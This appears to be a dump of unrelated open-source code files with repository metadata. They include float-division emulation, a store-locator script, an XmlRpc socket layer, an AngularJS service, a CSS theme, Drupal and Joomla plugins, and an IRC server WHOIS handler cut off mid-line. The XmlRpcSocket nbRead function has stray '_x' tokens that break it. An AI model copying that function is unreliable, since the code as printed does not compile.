#include "float.h" #include "sgl_float.h" int sgl_fdiv (sgl_floating_point * srcptr1, sgl_floating_point * srcptr2, sgl_floating_point * dstptr, unsigned int *status) { register unsigned int opnd1, opnd2, opnd3, result; register int dest_exponent, count; register boolean inexact = FALSE, guardbit = FALSE, stickybit = FALSE; boolean is_tiny; opnd1 = *srcptr1; opnd2 = *srcptr2; /* * set sign bit of result */ if (Sgl_sign(opnd1) ^ Sgl_sign(opnd2)) Sgl_setnegativezero(result); else Sgl_setzero(result); /* * check first operand for NaN's or infinity */ if (Sgl_isinfinity_exponent(opnd1)) { if (Sgl_iszero_mantissa(opnd1)) { if (Sgl_isnotnan(opnd2)) { if (Sgl_isinfinity(opnd2)) { /* * invalid since both operands * are infinity */ if (Is_invalidtrap_enabled()) return(INVALIDEXCEPTION); Set_invalidflag(); Sgl_makequietnan(result); *dstptr = result; return(NOEXCEPTION); } /* * return infinity */ Sgl_setinfinity_exponentmantissa(result); *dstptr = result; return(NOEXCEPTION); } } else { /* * is NaN; signaling or quiet? */ if (Sgl_isone_signaling(opnd1)) { /* trap if INVALIDTRAP enabled */ if (Is_invalidtrap_enabled()) return(INVALIDEXCEPTION); /* make NaN quiet */ Set_invalidflag(); Sgl_set_quiet(opnd1); } /* * is second operand a signaling NaN? */ else if (Sgl_is_signalingnan(opnd2)) { /* trap if INVALIDTRAP enabled */ if (Is_invalidtrap_enabled()) return(INVALIDEXCEPTION); /* make NaN quiet */ Set_invalidflag(); Sgl_set_quiet(opnd2); *dstptr = opnd2; return(NOEXCEPTION); } /* * return quiet NaN */ *dstptr = opnd1; return(NOEXCEPTION); } } /* * check second operand for NaN's or infinity */ if (Sgl_isinfinity_exponent(opnd2)) { if (Sgl_iszero_mantissa(opnd2)) { /* * return zero */ Sgl_setzero_exponentmantissa(result); *dstptr = result; return(NOEXCEPTION); } /* * is NaN; signaling or quiet? */ if (Sgl_isone_signaling(opnd2)) { /* trap if INVALIDTRAP enabled */ if (Is_invalidtrap_enabled()) return(INVALIDEXCEPTION); /* make NaN quiet */ Set_invalidflag(); Sgl_set_quiet(opnd2); } /* * return quiet NaN */ *dstptr = opnd2; return(NOEXCEPTION); } /* * check for division by zero */ if (Sgl_iszero_exponentmantissa(opnd2)) { if (Sgl_iszero_exponentmantissa(opnd1)) { /* invalid since both operands are zero */ if (Is_invalidtrap_enabled()) return(INVALIDEXCEPTION); Set_invalidflag(); Sgl_makequietnan(result); *dstptr = result; return(NOEXCEPTION); } if (Is_divisionbyzerotrap_enabled()) return(DIVISIONBYZEROEXCEPTION); Set_divisionbyzeroflag(); Sgl_setinfinity_exponentmantissa(result); *dstptr = result; return(NOEXCEPTION); } /* * Generate exponent */ dest_exponent = Sgl_exponent(opnd1) - Sgl_exponent(opnd2) + SGL_BIAS; /* * Generate mantissa */ if (Sgl_isnotzero_exponent(opnd1)) { /* set hidden bit */ Sgl_clear_signexponent_set_hidden(opnd1); } else { /* check for zero */ if (Sgl_iszero_mantissa(opnd1)) { Sgl_setzero_exponentmantissa(result); *dstptr = result; return(NOEXCEPTION); } /* is denormalized; want to normalize */ Sgl_clear_signexponent(opnd1); Sgl_leftshiftby1(opnd1); Sgl_normalize(opnd1,dest_exponent); } /* opnd2 needs to have hidden bit set with msb in hidden bit */ if (Sgl_isnotzero_exponent(opnd2)) { Sgl_clear_signexponent_set_hidden(opnd2); } else { /* is denormalized; want to normalize */ Sgl_clear_signexponent(opnd2); Sgl_leftshiftby1(opnd2); while(Sgl_iszero_hiddenhigh7mantissa(opnd2)) { Sgl_leftshiftby8(opnd2); dest_exponent += 8; } if(Sgl_iszero_hiddenhigh3mantissa(opnd2)) { Sgl_leftshiftby4(opnd2); dest_exponent += 4; } while(Sgl_iszero_hidden(opnd2)) { Sgl_leftshiftby1(opnd2); dest_exponent += 1; } } /* Divide the source mantissas */ /* * A non_restoring divide algorithm is used. */ Sgl_subtract(opnd1,opnd2,opnd1); Sgl_setzero(opnd3); for (count=1;count<=SGL_P && Sgl_all(opnd1);count++) { Sgl_leftshiftby1(opnd1); Sgl_leftshiftby1(opnd3); if (Sgl_iszero_sign(opnd1)) { Sgl_setone_lowmantissa(opnd3); Sgl_subtract(opnd1,opnd2,opnd1); } else Sgl_addition(opnd1,opnd2,opnd1); } if (count <= SGL_P) { Sgl_leftshiftby1(opnd3); Sgl_setone_lowmantissa(opnd3); Sgl_leftshift(opnd3,SGL_P-count); if (Sgl_iszero_hidden(opnd3)) { Sgl_leftshiftby1(opnd3); dest_exponent--; } } else { if (Sgl_iszero_hidden(opnd3)) { /* need to get one more bit of result */ Sgl_leftshiftby1(opnd1); Sgl_leftshiftby1(opnd3); if (Sgl_iszero_sign(opnd1)) { Sgl_setone_lowmantissa(opnd3); Sgl_subtract(opnd1,opnd2,opnd1); } else Sgl_addition(opnd1,opnd2,opnd1); dest_exponent--; } if (Sgl_iszero_sign(opnd1)) guardbit = TRUE; stickybit = Sgl_all(opnd1); } inexact = guardbit | stickybit; /* * round result */ if (inexact && (dest_exponent > 0 || Is_underflowtrap_enabled())) { Sgl_clear_signexponent(opnd3); switch (Rounding_mode()) { case ROUNDPLUS: if (Sgl_iszero_sign(result)) Sgl_increment_mantissa(opnd3); break; case ROUNDMINUS: if (Sgl_isone_sign(result)) Sgl_increment_mantissa(opnd3); break; case ROUNDNEAREST: if (guardbit) { if (stickybit || Sgl_isone_lowmantissa(opnd3)) Sgl_increment_mantissa(opnd3); } } if (Sgl_isone_hidden(opnd3)) dest_exponent++; } Sgl_set_mantissa(result,opnd3); /* * Test for overflow */ if (dest_exponent >= SGL_INFINITY_EXPONENT) { /* trap if OVERFLOWTRAP enabled */ if (Is_overflowtrap_enabled()) { /* * Adjust bias of result */ Sgl_setwrapped_exponent(result,dest_exponent,ovfl); *dstptr = result; if (inexact) if (Is_inexacttrap_enabled()) return(OVERFLOWEXCEPTION | INEXACTEXCEPTION); else Set_inexactflag(); return(OVERFLOWEXCEPTION); } Set_overflowflag(); /* set result to infinity or largest number */ Sgl_setoverflow(result); inexact = TRUE; } /* * Test for underflow */ else if (dest_exponent <= 0) { /* trap if UNDERFLOWTRAP enabled */ if (Is_underflowtrap_enabled()) { /* * Adjust bias of result */ Sgl_setwrapped_exponent(result,dest_exponent,unfl); *dstptr = result; if (inexact) if (Is_inexacttrap_enabled()) return(UNDERFLOWEXCEPTION | INEXACTEXCEPTION); else Set_inexactflag(); return(UNDERFLOWEXCEPTION); } /* Determine if should set underflow flag */ is_tiny = TRUE; if (dest_exponent == 0 && inexact) { switch (Rounding_mode()) { case ROUNDPLUS: if (Sgl_iszero_sign(result)) { Sgl_increment(opnd3); if (Sgl_isone_hiddenoverflow(opnd3)) is_tiny = FALSE; Sgl_decrement(opnd3); } break; case ROUNDMINUS: if (Sgl_isone_sign(result)) { Sgl_increment(opnd3); if (Sgl_isone_hiddenoverflow(opnd3)) is_tiny = FALSE; Sgl_decrement(opnd3); } break; case ROUNDNEAREST: if (guardbit && (stickybit || Sgl_isone_lowmantissa(opnd3))) { Sgl_increment(opnd3); if (Sgl_isone_hiddenoverflow(opnd3)) is_tiny = FALSE; Sgl_decrement(opnd3); } break; } } /* * denormalize result or set to signed zero */ stickybit = inexact; Sgl_denormalize(opnd3,dest_exponent,guardbit,stickybit,inexact); /* return rounded number */ if (inexact) { switch (Rounding_mode()) { case ROUNDPLUS: if (Sgl_iszero_sign(result)) { Sgl_increment(opnd3); } break; case ROUNDMINUS: if (Sgl_isone_sign(result)) { Sgl_increment(opnd3); } break; case ROUNDNEAREST: if (guardbit && (stickybit || Sgl_isone_lowmantissa(opnd3))) { Sgl_increment(opnd3); } break; } if (is_tiny) Set_underflowflag(); } Sgl_set_exponentmantissa(result,opnd3); } else Sgl_set_exponent(result,dest_exponent); *dstptr = result; /* check for inexact */ if (inexact) { if (Is_inexacttrap_enabled()) return(INEXACTEXCEPTION); else Set_inexactflag(); } return(NOEXCEPTION); }
luckasfb/OT_903D-kernel-2.6.35.7
kernel/arch/parisc/math-emu/sfdiv.c
C
gpl-2.0
9,923
/** * @extends storeLocator.StaticDataFeed * @constructor */ function MedicareDataSource() { jQuery.extend(this, new storeLocator.StaticDataFeed); var csv_filepath = Drupal.settings.fc_storelocator_google.csv_filepath; var that = this; jQuery.get(csv_filepath, function(data) { that.setStores(that.parse_(data)); }); } /** * @const * @type {!storeLocator.FeatureSet} * @private */ MedicareDataSource.prototype.FEATURES_ = new storeLocator.FeatureSet( // new storeLocator.Feature('Wheelchair-YES', 'Wheelchair access'), // new storeLocator.Feature('Audio-YES', 'Audio') ); /** * @return {!storeLocator.FeatureSet} */ MedicareDataSource.prototype.getFeatures = function() { return this.FEATURES_; }; /** * @private * @param {string} csv * @return {!Array.<!storeLocator.Store>} */ MedicareDataSource.prototype.parse_ = function(csv) { var stores = []; var rows = csv.split('\n'); var headings = this.parseRow_(rows[0]); for (var i = 1, row; row = rows[i]; i++) { row = this.toObject_(headings, this.parseRow_(row)); var features = new storeLocator.FeatureSet; // features.add(this.FEATURES_.getById('Wheelchair-' + row.Wheelchair)); // features.add(this.FEATURES_.getById('Audio-' + row.Audio)); var position = new google.maps.LatLng(row.Ycoord, row.Xcoord); // var shop = this.join_([row.Shp_num_an, row.Shp_centre], ', '); // var locality = this.join_([row.Locality, row.Postcode], ', '); var store = new storeLocator.Store(row.uuid, position, features, { title: row.title, address: row.detail // hours: row.Hrs_of_bus }); stores.push(store); } return stores; }; /** * Joins elements of an array that are non-empty and non-null. * @private * @param {!Array} arr array of elements to join. * @param {string} sep the separator. * @return {string} */ MedicareDataSource.prototype.join_ = function(arr, sep) { var parts = []; for (var i = 0, ii = arr.length; i < ii; i++) { arr[i] && parts.push(arr[i]); } return parts.join(sep); }; /** * Very rudimentary CSV parsing - we know how this particular CSV is formatted. * IMPORTANT: Don't use this for general CSV parsing! * @private * @param {string} row * @return {Array.<string>} */ MedicareDataSource.prototype.parseRow_ = function(row) { // Strip leading quote. if (row.charAt(0) == '"') { row = row.substring(1); } // Strip trailing quote. There seems to be a character between the last quote // and the line ending, hence 2 instead of 1. if (row.charAt(row.length - 2) == '"') { row = row.substring(0, row.length - 2); } row = row.split('","'); return row; }; /** * Creates an object mapping headings to row elements. * @private * @param {Array.<string>} headings * @param {Array.<string>} row * @return {Object} */ MedicareDataSource.prototype.toObject_ = function(headings, row) { var result = {}; for (var i = 0, ii = row.length; i < ii; i++) { result[headings[i]] = row[i]; } return result; };
harryqin1978/db
sites/all/modules/custom/frontcoding/fc_storelocator/js/google/medicare-static-ds.js
JavaScript
gpl-2.0
3,034
// // Last Modified: $Date: 2010-07-22 10:16:38 $ // // $Log: XmlRpcSocket.cpp,v $ // Revision 1.2.2.1 2010-07-22 10:16:38 lgrave // RT8: TapiAdapter: threads for reception/execution of paralel commands // // Revision 1.2 2010-07-20 09:48:14 lgrave // corrected windows crlf to unix lf // // Revision 1.1 2010-07-19 23:40:45 lgrave // 1st version added to cvs // // #include "XmlRpcSocket.h" #include "XmlRpcUtil.h" #include "..\src\Log.h" #ifndef MAKEDEPEND #if defined(_WINDOWS) # include <stdio.h> # include <winsock2.h> //# pragma lib(WS2_32.lib) # define EINPROGRESS WSAEINPROGRESS # define EWOULDBLOCK WSAEWOULDBLOCK # define ETIMEDOUT WSAETIMEDOUT # define EINTR WSAEINTR # define EAGAIN WSAEWOULDBLOCK #else extern "C" { # include <unistd.h> # include <stdio.h> # include <sys/types.h> # include <sys/socket.h> # include <netinet/in.h> # include <netdb.h> # include <errno.h> # include <fcntl.h> } #endif // _WINDOWS #endif // MAKEDEPEND using namespace XmlRpc; #if defined(_WINDOWS) static void initWinSock() { static bool wsInit = false; if (! wsInit) { WORD wVersionRequested = MAKEWORD( 2, 0 ); WSADATA wsaData; WSAStartup(wVersionRequested, &wsaData); wsInit = true; } } #else #define initWinSock() #endif // _WINDOWS // These errors are not considered fatal for an IO operation; the operation will be re-tried. static inline bool nonFatalError() { int err = XmlRpcSocket::getError(); return (err == EINPROGRESS || err == EAGAIN || err == EWOULDBLOCK || err == EINTR); } int XmlRpcSocket::socket() { initWinSock(); return (int) ::socket(AF_INET, SOCK_STREAM, 0); } void XmlRpcSocket::close(int fd) { XmlRpcUtil::log(4, "XmlRpcSocket::close: fd %d.", fd); #if defined(_WINDOWS) closesocket(fd); #else ::close(fd); #endif // _WINDOWS } bool XmlRpcSocket::setNonBlocking(int fd) { #if defined(_WINDOWS) unsigned long flag = 1; return (ioctlsocket((SOCKET)fd, FIONBIO, &flag) == 0); #else return (fcntl(fd, F_SETFL, O_NONBLOCK) == 0); #endif // _WINDOWS } bool XmlRpcSocket::setReuseAddr(int fd) { // Allow this port to be re-bound immediately so server re-starts are not delayed int sflag = 1; return (setsockopt(fd, SOL_SOCKET, SO_REUSEADDR, (const char *)&sflag, sizeof(sflag)) == 0); } // Bind to a specified port bool XmlRpcSocket::bind(int fd, int port) { struct sockaddr_in saddr; memset(&saddr, 0, sizeof(saddr)); saddr.sin_family = AF_INET; saddr.sin_addr.s_addr = htonl(INADDR_ANY); saddr.sin_port = htons((u_short) port); return (::bind(fd, (struct sockaddr *)&saddr, sizeof(saddr)) == 0); } // Set socket in listen mode bool XmlRpcSocket::listen(int fd, int backlog) { return (::listen(fd, backlog) == 0); } int XmlRpcSocket::accept(int fd) { struct sockaddr_in addr; #if defined(_WINDOWS) int #else socklen_t #endif addrlen = sizeof(addr); return (int) ::accept(fd, (struct sockaddr*)&addr, &addrlen); } // Connect a socket to a server (from a client) bool XmlRpcSocket::connect(int fd, std::string& host, int port) { struct sockaddr_in saddr; memset(&saddr, 0, sizeof(saddr)); saddr.sin_family = AF_INET; struct hostent *hp = gethostbyname(host.c_str()); if (hp == 0) return false; saddr.sin_family = hp->h_addrtype; memcpy(&saddr.sin_addr, hp->h_addr, hp->h_length); saddr.sin_port = htons((u_short) port); // For asynch operation, this will return EWOULDBLOCK (windows) or // EINPROGRESS (linux) and we just need to wait for the socket to be writable... int result = ::connect(fd, (struct sockaddr *)&saddr, sizeof(saddr)); return result == 0 || nonFatalError(); } // Read available text from the specified socket. Returns false on error. bool XmlRpcSocket::nbRead(int fd, std::string& s, bool *eof) { _x const int READ_SIZE = 4096; // Number of bytes to attempt to read at a time _x char readBuf[READ_SIZE]; _x bool wouldBlock = false; _x *eof = false; _x while ( ! wouldBlock && ! *eof) { #if defined(_WINDOWS) _x int n = recv(fd, readBuf, READ_SIZE-1, 0); #else _x int n = read(fd, readBuf, READ_SIZE-1); #endif _x XmlRpcUtil::log(5, "XmlRpcSocket::nbRead: read/recv returned %d.", n); _x if (n > 0) { _x readBuf[n] = 0; _x s.append(readBuf, n); _x wouldBlock = true; // Well, now we block the socket! _x } else if (n == 0) { _x *eof = true; _x } else if (nonFatalError()) { _x wouldBlock = true; _x } else { _x return false; // Error } } _x return true; } // Write text to the specified socket. Returns false on error. bool XmlRpcSocket::nbWrite(int fd, std::string& s, int *bytesSoFar) { int nToWrite = int(s.length()) - *bytesSoFar; char *sp = const_cast<char*>(s.c_str()) + *bytesSoFar; bool wouldBlock = false; while ( nToWrite > 0 && ! wouldBlock ) { #if defined(_WINDOWS) int n = send(fd, sp, nToWrite, 0); #else int n = write(fd, sp, nToWrite); #endif XmlRpcUtil::log(5, "XmlRpcSocket::nbWrite: send/write returned %d.", n); if (n > 0) { sp += n; *bytesSoFar += n; nToWrite -= n; } else if (nonFatalError()) { wouldBlock = true; } else { return false; // Error } } return true; } // Returns last errno int XmlRpcSocket::getError() { #if defined(_WINDOWS) return WSAGetLastError(); #else return errno; #endif } // Returns message corresponding to last errno std::string XmlRpcSocket::getErrorMsg() { return getErrorMsg(getError()); } // Returns message corresponding to errno... well, it should anyway std::string XmlRpcSocket::getErrorMsg(int error) { char err[60]; snprintf(err,sizeof(err),"error %d", error); return std::string(err); }
lgrave/TapiAdapter
xmlrpc/XmlRpcSocket.cpp
C++
gpl-2.0
5,741
/* global angular */ angular.module("app").factory("cepsAPI", function ($http, config) { var _getCeps = function () { return $http.get(config.baseUrl + "DbAuditPronatec-3.2/api/ceps"); }; var _getCep = function (id) { return $http.get(config.baseUrl + "DbAuditPronatec-3.2/api/ceps/" + id); }; var _saveCep = function (cep) { return $http.post(config.baseUrl + "DbAuditPronatec-3.2/api/ceps", cep); }; var _getDelete = function (id) { return $http.delete(config.baseUrl + "DbAuditPronatec-3.2/api/ceps/" + id); }; var _deleteCep = function (id) { return $http.delete(config.baseUrl + "DbAuditPronatec-3.2/api/ceps/" + id); }; return { getCeps : _getCeps, getCep : _getCep, saveCep : _saveCep, getDelete : _getDelete, deleteCep : _deleteCep//delete }; });
RobervalSBett/DbAuditPronatec
src/main/webapp/app/dbauditoria/js/services/cepsAPIService.js
JavaScript
gpl-2.0
834
/* eXe Copyright 2004-2005, University of Auckland style sheet for silver theme Modified by Ignacio Gros for eXeLearning.net See Help - eXe Tutorial for more info on how to modify this style for your needs. */ html{padding:0} body{font:.75em/1.5 Arial,Verdana,Helvetica,sans-serif;padding:15px;margin:0;text-align:left;color:#444;background:#E0DFD8} a{color:#374990} a:hover,a:focus{color:#263264} #header,#emptyHeader{text-align:left;height:auto!important;height:1.5em;min-height:1.5em;padding:.75em 15px;font-size:1.5em;text-shadow:1px 1px 1px #444;border-bottom:2px solid #E5E4E0;border-top:2px solid #E5E4E0;color:#fff} /* Header is also in single page */ #header h1{margin:0;font-size:1em} #nodeDecoration{text-align:left;padding:1em 20px;margin-bottom:2em;background:#D9D9CE;text-shadow:1px 1px 1px #f9f9f9;border-bottom:2px solid #E5E4E0;border-top:2px solid #E5E4E0;color:#4D4D4D} #nodeTitle,.nodeTitle{font-size:1.5em;margin:0;font-weight:bold;text-align:right} /* .nodeTitle when single page */ .nodeTitle{padding:.1em 0 .6em 0;border-bottom:2px solid #E5E4E0;margin-top:1em;text-align:right} #main h2{font-size:1.4em} #main .iDeviceTitle{display:inline;font-size:1.4em} h3{font-size:1.25em;color:#666} #main h4{font-size:1.2em} #main h5{font-size:1.1em} .iDevice{margin:2em 0;padding:10px;background:#fff url(_silver_idevice_bg.gif) repeat-x 0 0;border-radius:5px} .emphasis0{padding:0;background:none} /* iDevice icons */ .iDevice_icon{width:32px;height:auto;margin-right:5px} .iDevice_header{background:url(icon_generic.gif) no-repeat 0 0;padding-left:38px;margin-bottom:2px} .activityIdevice .iDevice_header{background-image:url(icon_activity.gif)} .readingIdevice .iDevice_header{background-image:url(icon_reading.gif);padding-left:41px} .ListaIdevice .iDevice_header, .QuizTestIdevice .iDevice_header, .MultichoiceIdevice .iDevice_header, .TrueFalseIdevice .iDevice_header, .MultiSelectIdevice .iDevice_header, .ClozeIdevice .iDevice_header{background-image:url(icon_question.gif)} .CasestudyIdevice .iDevice_header{background-image:url(icon_casestudy.gif)} .preknowledgeIdevice .iDevice_header{background-image:url(icon_preknowledge.gif);padding-left:39px} .GalleryIdevice .iDevice_header{background-image:url(icon_gallery.gif);padding-left:40px} .objectivesIdevice .iDevice_header{background-image:url(icon_objectives.gif)} .ReflectionIdevice .iDevice_header{background-image:url(icon_reflection.gif)} .iDeviceTitle{font-size:1.3em;vertical-align:top;top:0;color:#fff;text-shadow:1px 1px 1px #444;line-height:2em} .iDevice_content{overflow:auto} .iDevice_inner{background:#F2F2EF;border-radius:5px;padding:10px 20px} .emphasis0 .iDevice_inner{background:none;padding:0} #siteFooter{color:#555;font-size:.95em} input,select,textarea{font-family:Arial,Verdana,Helvetica,sans-serif;font-size:1em} .ExternalUrlIdevice iframe{border:none} /* Lightbox */ .exeImageGallery{width:100%} /* base.css */ .block,.feedback{padding:0} .feedback{font-family:Arial,Verdana,Helvetica,sans-serif;font-size:1em} li{list-style-position:outside} #wikipedia-content ul li{list-style-image:none;margin-bottom:auto} .exe-dl .icon{line-height:17px} .js .exe-dl dd{margin-left:34px} /* Form buttons */ .feedbackbutton{background:#4D4D4D;margin-bottom:1em;color:#fff} /* Hide/Show iDevice */ .toggle-idevice{margin:12px 0 0;text-align:right;display:block} .iDevice_header .toggle-idevice{float:right;padding-top:2px;margin:0} .toggle-idevice a{display:inline-block;width:14px;height:14px;background:url(_silver_hide_show.png) no-repeat 0 -14px} .toggle-idevice .show-idevice{background-position:0 0} .toggle-idevice span{position:absolute;overflow:hidden;clip:rect(0,0,0,0);height:0} /* Effects */ .exe-fx .fx-C2, .exe-fx .fx-C2 a, .fx-pagination a{background:#FFF}
mclois/iteexe
exe/webui/style/silver/content.css
CSS
gpl-2.0
3,828
<?php // $Id: node.tpl.php,v 1.6 2011/02/18 05:47:53 andregriffin Exp $ ?> <?php if (!$page): ?> <article id="node-<?php print $node->nid; ?>" class="node<?php if ($sticky) { print ' sticky'; } ?><?php if (!$status) { print ' node-unpublished'; } ?> clearfix"> <?php endif; ?> <?php if ($picture || $submitted || !$page): ?> <?php if (!$page): ?> <header> <?php endif; ?> <?php print $picture ?> <?php if (!$page): ?> <h2><a href="<?php print $node_url ?>" title="<?php print $title ?>"><?php print $title ?></a></h2> <?php endif; ?> <?php if ($submitted): ?> <p class="submitted"><?php print $submitted; ?></p> <?php endif; ?> <?php if (!$page): ?> </header> <?php endif; ?> <?php endif;?> <div class="content"> <?php print $content ?> </div> <?php if (!empty($links) || !empty($terms)): ?> <footer> <?php if ($terms): ?> <div class="terms"> <span><?php print t('Tags: ') ?></span><?php print $terms ?> </div> <?php endif;?> <?php if ($links): ?> <div class="links"> <?php print $links; ?> </div> <?php endif; ?> </footer> <?php endif;?> <?php if (!$page): ?> </article> <?php endif;?> <!-- /.node -->
shrimphead/KVG
sites/all/themes/framework/node.tpl.php
PHP
gpl-2.0
1,277
<?php /** * Authorization plugin * @Copyright (C) 2009-2011 Gavick.com * @ All rights reserved * @ Joomla! is Free Software * @ Released under GNU/GPL License : http://www.gnu.org/copyleft/gpl.html * @version $Revision: GK4 1.0 $ **/ // No direct access defined('_JEXEC') or die; jimport('joomla.plugin.plugin'); class plgAuthenticationFacebook extends JPlugin { function onUserAuthenticate($credentials, $options, &$response) { jimport('joomla.user.helper'); jimport('joomla.user.helper'); $response->type = 'Joomla'; // Joomla does not like blank passwords if (empty($credentials['password'])) { $response->status = JAUTHENTICATE_STATUS_FAILURE; $response->error_message = JText::_('JGLOBAL_AUTH_EMPTY_PASS_NOT_ALLOWED'); return false; } if($credentials['password'] == 'Facebook' && $credentials['username'] == 'Facebook') { $plugin = JPluginHelper::getPlugin('authentication', 'facebook'); $params = json_decode($plugin->params); require 'sdk/facebook.php'; $facebook = new Facebook(array( 'appId' => $params->facebook_api_id, 'secret' => $params->facebook_api_secret )); // See if there is a user from a cookie $user = $facebook->getUser(); $user_profile = null; if ($user) { try { // Proceed knowing you have a logged in user who's authenticated. $user_profile = $facebook->api('/me'); } catch (FacebookApiException $e) { $response->status = JAUTHENTICATE_STATUS_FAILURE; $response->error_message = $e->getMessage(); $user = null; return false; } } if($user_profile) { // Initialise variables. $conditions = ''; // Get a database object $db = JFactory::getDbo(); $query = $db->getQuery(true); $query->select('id'); $query->from('#__users'); $query->where('email = ' . $db->Quote($user_profile['email'])); $db->setQuery($query); $result = $db->loadObject(); if ($result) { $user = JUser::getInstance($result->id); // Bring this in line with the rest of the system $response->email = $user->email; $response->username = $user->username; $response->fullname = $user->name; if (JFactory::getApplication()->isAdmin()) { $response->language = $user->getParam('admin_language'); } else { $response->language = $user->getParam('language'); } $response->status = JAUTHENTICATE_STATUS_SUCCESS; $response->error_message = JText::_('PLG_GK_FACEBOOK_SUCCESS') . '<strong>' . $user->username . '</strong>'; } else { if($params->auto_register == 1) { $response->email = $user_profile['email']; $response->username = $user_profile['email']; $response->fullname = $user_profile['name']; $response->status = JAUTHENTICATE_STATUS_SUCCESS; $response->error_message = JText::_('PLG_GK_FACEBOOK_NEW_ACCOUNT') . '<strong>' . $user_profile['name'] . '</strong>'; } else { $response->status = JAUTHENTICATE_STATUS_FAILURE; $response->error_message = JText::_('JGLOBAL_AUTH_NO_USER'); } } } } else { $response->status = JAUTHENTICATE_STATUS_FAILURE; $response->error_message = JText::_('JGLOBAL_AUTH_NO_USER'); } return $response; } }
xbegault/clrh-idf
plugins/authentication/facebook/facebook.php
PHP
gpl-2.0
3,312
/************************************************************************ * Unreal Internet Relay Chat Daemon, src/webtv.c * (C) Carsten V. Munk (Stskeeps <stskeeps@tspre.org>) 2000 * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 1, or (at your option) * any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. */ #include "config.h" #undef DYNAMIC_LINKING #include "struct.h" #define DYNAMIC_LINKING #include "common.h" #include "sys.h" #include "numeric.h" #include "msg.h" #include "channel.h" #include <time.h> #include <sys/stat.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #ifdef _WIN32 #include <io.h> #endif #include <fcntl.h> #include "h.h" #include "proto.h" #ifdef STRIPBADWORDS #include "badwords.h" #endif #ifdef _WIN32 #include "version.h" #endif typedef struct zMessage aMessage; struct zMessage { char *command; int (*func) (); int maxpara; }; int w_whois(aClient *cptr, aClient *sptr, int parc, char *parv[]); /* This really has nothing to do with WebTV yet, but eventually it will, so I figured * it's easiest to put it here so why not? -- codemastr */ int ban_version(aClient *cptr, aClient *sptr, int parc, char *parv[]); aMessage webtv_cmds[] = { {"WHOIS", w_whois, 15}, {"\1VERSION", ban_version, 1}, {"\1SCRIPT", ban_version, 1}, {NULL, 0, 15} }; int webtv_parse(aClient *sptr, char *string) { char *cmd = NULL, *s = NULL; int i, n; aMessage *message = webtv_cmds; static char *para[MAXPARA + 2]; if (!string || !*string) { sendto_one(sptr, ":IRC %s %s :No command given", MSG_PRIVATE, sptr->name); return 0; } n = strlen(string); cmd = strtok(string, " "); if (!cmd) return -99; for (message = webtv_cmds; message->command; message++) if (strcasecmp(message->command, cmd) == 0) break; if (!message->command || !message->func) { /* sendto_one(sptr, ":IRC %s %s :Sorry, \"%s\" is an unknown command to me", MSG_PRIVATE, sptr->name, cmd); */ /* restore the string*/ if (strlen(cmd) < n) cmd[strlen(cmd)]= ' '; return -99; } i = 0; s = strtok(NULL, ""); if (s) { if (message->maxpara > MAXPARA) message->maxpara = MAXPARA; /* paranoid ? ;p */ for (;;) { /* ** Never "FRANCE " again!! ;-) Clean ** out *all* blanks.. --msa */ while (*s == ' ') *s++ = '\0'; if (*s == '\0') break; if (*s == ':') { /* ** The rest is single parameter--can ** include blanks also. */ para[++i] = s + 1; break; } para[++i] = s; if (i >= message->maxpara) break; for (; *s != ' ' && *s; s++) ; } } para[++i] = NULL; para[0] = sptr->name; return (*message->func) (sptr->from, sptr, i, para); } int w_whois(aClient *cptr, aClient *sptr, int parc, char *parv[]) { Membership *lp; anUser *user; aClient *acptr, *a2cptr; aChannel *chptr; char *nick, *tmp, *name; char *p = NULL; char buf[512], query[512]; int found, len, mlen, cnt = 0; if ((parc < 2) || BadPtr(parv[1])) { sendto_one(sptr, ":IRC %s %s :Syntax error, correct is WHOIS <nick>", MSG_PRIVATE, sptr->name); return 0; } strlcpy(query, parv[1], sizeof(query)); for (tmp = canonize(parv[1]); (nick = strtoken(&p, tmp, ",")); tmp = NULL) { int invis, showsecret = 0, showchannel, showperson, member, wilds; if (++cnt > MAXTARGETS) break; found = 0; (void)collapse(nick); wilds = (index(nick, '?') || index(nick, '*')); if (wilds) continue; for (acptr = client; (acptr = next_client(acptr, nick)); acptr = acptr->next) { if (IsServer(acptr)) continue; /* * I'm always last :-) and acptr->next == NULL!! */ if (IsMe(acptr)) break; /* * 'Rules' established for sending a WHOIS reply: * * - only allow a remote client to get replies for * local clients if wildcards are being used; * * - if wildcards are being used dont send a reply if * the querier isnt any common channels and the * client in question is invisible and wildcards are * in use (allow exact matches only); * * - only send replies about common or public channels * the target user(s) are on; */ if (!MyConnect(sptr) && !MyConnect(acptr) && wilds) continue; if (!IsPerson(acptr)) continue; user = acptr->user; name = (!*acptr->name) ? "?" : acptr->name; invis = acptr != sptr && IsInvisible(acptr); member = (user->channel) ? 1 : 0; showperson = (wilds && !invis && !member) || !wilds; for (lp = user->channel; lp; lp = lp->next) { chptr = lp->chptr; member = IsMember(sptr, chptr); if (invis && !member) continue; if (member || (!invis && PubChannel(chptr))) { showperson = 1; break; } if (!invis && HiddenChannel(chptr) && !SecretChannel(chptr)) showperson = 1; else if (OPCanSeeSecret(sptr) && SecretChannel(chptr)) { showperson = 1; showsecret = 1; } } if (!showperson) continue; a2cptr = find_server_quick(user->server); /* if (!IsPerson(acptr)) continue; ** moved to top -- Syzop */ sendto_one(sptr, ":IRC PRIVMSG %s :WHOIS information for %s", sptr->name, acptr->name); if (IsWhois(acptr)) { sendto_one(acptr, ":%s NOTICE %s :*** %s (%s@%s) did a /whois on you.", me.name, acptr->name, sptr->name, sptr->user->username, IsHidden(acptr) ? sptr->user-> virthost : sptr->user->realhost); } sendto_one(sptr, ":IRC PRIVMSG %s :%s is %s@%s * %s", sptr->name, name, user->username, IsHidden(acptr) ? user->virthost : user->realhost, acptr->info); if (IsEyes(sptr)) { /* send the target user's modes */ sendto_one(sptr, ":IRC PRIVMSG %s :%s uses modes %s", sptr->name, acptr->name, get_mode_str(acptr)); } if ((IsAnOper(sptr) && IsHidden(acptr)) || (acptr == sptr && IsHidden(sptr))) { sendto_one(sptr, ":IRC PRIVMSG %s :%s is connecting from %s", sptr->name, acptr->name, acptr->user->realhost); } if (IsARegNick(acptr)) sendto_one(sptr, ":IRC PRIVMSG %s 